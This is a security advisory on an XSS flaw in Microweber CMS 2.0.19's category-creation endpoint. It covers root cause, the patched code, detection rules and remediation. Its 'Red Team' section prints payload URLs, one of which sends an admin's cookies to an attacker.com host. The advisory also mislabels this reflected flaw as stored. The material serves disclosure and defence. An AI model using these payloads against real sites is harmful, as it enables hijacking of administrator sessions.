CVE-2025-70792

Executive Summary

CVE-2025-70792 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the Microweber CMS, specifically in version 2.0.19. The flaw resides in the /admin/category/create endpoint, where the rel_id parameter is not properly sanitized. An attacker can craft a malicious URL containing JavaScript code in the rel_id parameter. If a user with administrative privileges clicks on this link, the JavaScript executes in the context of the admin's session, potentially leading to session hijacking, data theft, or further compromise of the CMS instance. The vulnerability was responsibly disclosed and patched in Microweber version 2.0.20.

Supply Chain & Package Security

Microweber is a PHP-based CMS distributed via GitHub and its official website. This vulnerability does not directly affect the software supply chain (e.g., NPM, PyPI, Go, Ruby packages), but it does highlight the risk of using outdated CMS versions. Administrators should ensure they are using the latest patched version (2.0.20 or later) to mitigate this risk.

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): Required - The victim (admin user) must click on the crafted link.
• Scope (S): Unchanged - The exploit affects the vulnerable component only.
• Confidentiality (C): Low - Limited data exposure is possible.
• Integrity (I): Low - Limited data modification is possible.
• Availability (A): None - The vulnerability does not affect availability.

Threat Level: Medium. While the CVSS score is moderate, the impact is amplified because the attack targets administrative users, potentially granting the attacker elevated privileges within the CMS.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The /admin/category/create endpoint in Microweber 2.0.19 accepts a rel_id parameter via HTTP GET or POST. This parameter is used to associate a new category with a parent category or other relational data.

Root Cause: The application fails to sanitize or encode the rel_id parameter before rendering it in the HTML response. When an admin user visits a crafted URL like:

http://target.com/admin/category/create?rel_id=<script>alert('XSS')</script>

The JavaScript payload is injected into the page and executed by the browser. Because the victim is an admin, the attacker can leverage this to perform actions such as:

• Stealing session cookies.
• Modifying CMS settings.
• Creating new admin accounts.
• Injecting malicious content into the site.

Attack Flow:

1. Attacker crafts a malicious URL with a JavaScript payload in the rel_id parameter.
2. Attacker lures an admin user to click the link (e.g., via phishing email or social engineering).
3. The admin's browser executes the payload.
4. The attacker gains control over the admin's session.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber 2.0.19):

// In /admin/category/create view
<input type="hidden" name="rel_id" value="<?php echo $_GET['rel_id']; ?>">

The $_GET['rel_id'] value is directly echoed without any sanitization.

Patched Code (Microweber 2.0.20):

// In /admin/category/create view
<input type="hidden" name="rel_id" value="<?php echo htmlspecialchars($_GET['rel_id'], ENT_QUOTES, 'UTF-8'); ?>">

The htmlspecialchars() function is used to encode special HTML characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Microweber 2.0.19.
• A web browser with developer tools.

Exploit Steps:

1. Identify the target Microweber admin URL: http://target.com/admin/category/create.
2. Craft a malicious URL with a JavaScript payload:

   http://target.com/admin/category/create?rel_id=<script>alert(document.cookie)</script>
   

3. Send this URL to an admin user (e.g., via email or chat).
4. When the admin clicks the link, the JavaScript executes, displaying their cookies in an alert box.

Advanced Payload (Session Hijacking):

http://target.com/admin/category/create?rel_id=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

This sends the admin's cookies to an attacker-controlled server.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /admin/category/create with suspicious rel_id parameters containing <script> tags or other HTML/JavaScript.
• Use a Web Application Firewall (WAF) to block requests with XSS patterns in the rel_id parameter.

Mitigation:

• Immediately upgrade Microweber to version 2.0.20 or later.
• If immediate patching is not possible, implement a virtual patch using a WAF to sanitize the rel_id parameter.
• Educate admin users about phishing attacks and the risks of clicking suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/category/create with rel_id containing <script>, onerror, onload, or other JavaScript event handlers.
  • Outbound connections from the CMS server to unknown IP addresses (if the payload exfiltrates data).

• File IOCs:

  • Modified or new admin accounts in the CMS database.
  • Unexpected JavaScript code in the CMS database (e.g., in the categories table).

• Log IOCs:

  • Web server logs showing rel_id parameters with encoded or raw JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_70792_XSS_Microweber {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-70792 in Microweber"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70792"
    strings:
        $xss_payload = /rel_id=.*<script/i
        $xss_payload2 = /rel_id=.*onerror/i
        $xss_payload3 = /rel_id=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-70792 XSS Attempt in Microweber
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts targeting the rel_id parameter in Microweber admin endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/category/create'
        cs-uri-query|contains: 'rel_id='
        cs-uri-query|re: '(?i)<script|onerror|onload|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in rel_id (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70792 XSS Attempt in Microweber"; flow:to_server,established; content:"/admin/category/create"; http_uri; content:"rel_id="; http_uri; pcre:"/(?i)<script|onerror|onload|javascript:/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Microweber: Update to version 2.0.20 or later immediately.
2. Virtual Patching: If upgrade is delayed, deploy a WAF rule to block requests containing XSS patterns in the rel_id parameter.
3. User Education: Warn admin users about phishing attacks targeting this vulnerability.

Long-Term Measures:

• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Regularly update all CMS components and plugins.
• Conduct periodic security audits and penetration testing.

Patch Details: The fix is included in Microweber version 2.0.20. The patch can be obtained from the official GitHub repository: https://github.com/microweber/microweber

Valters IT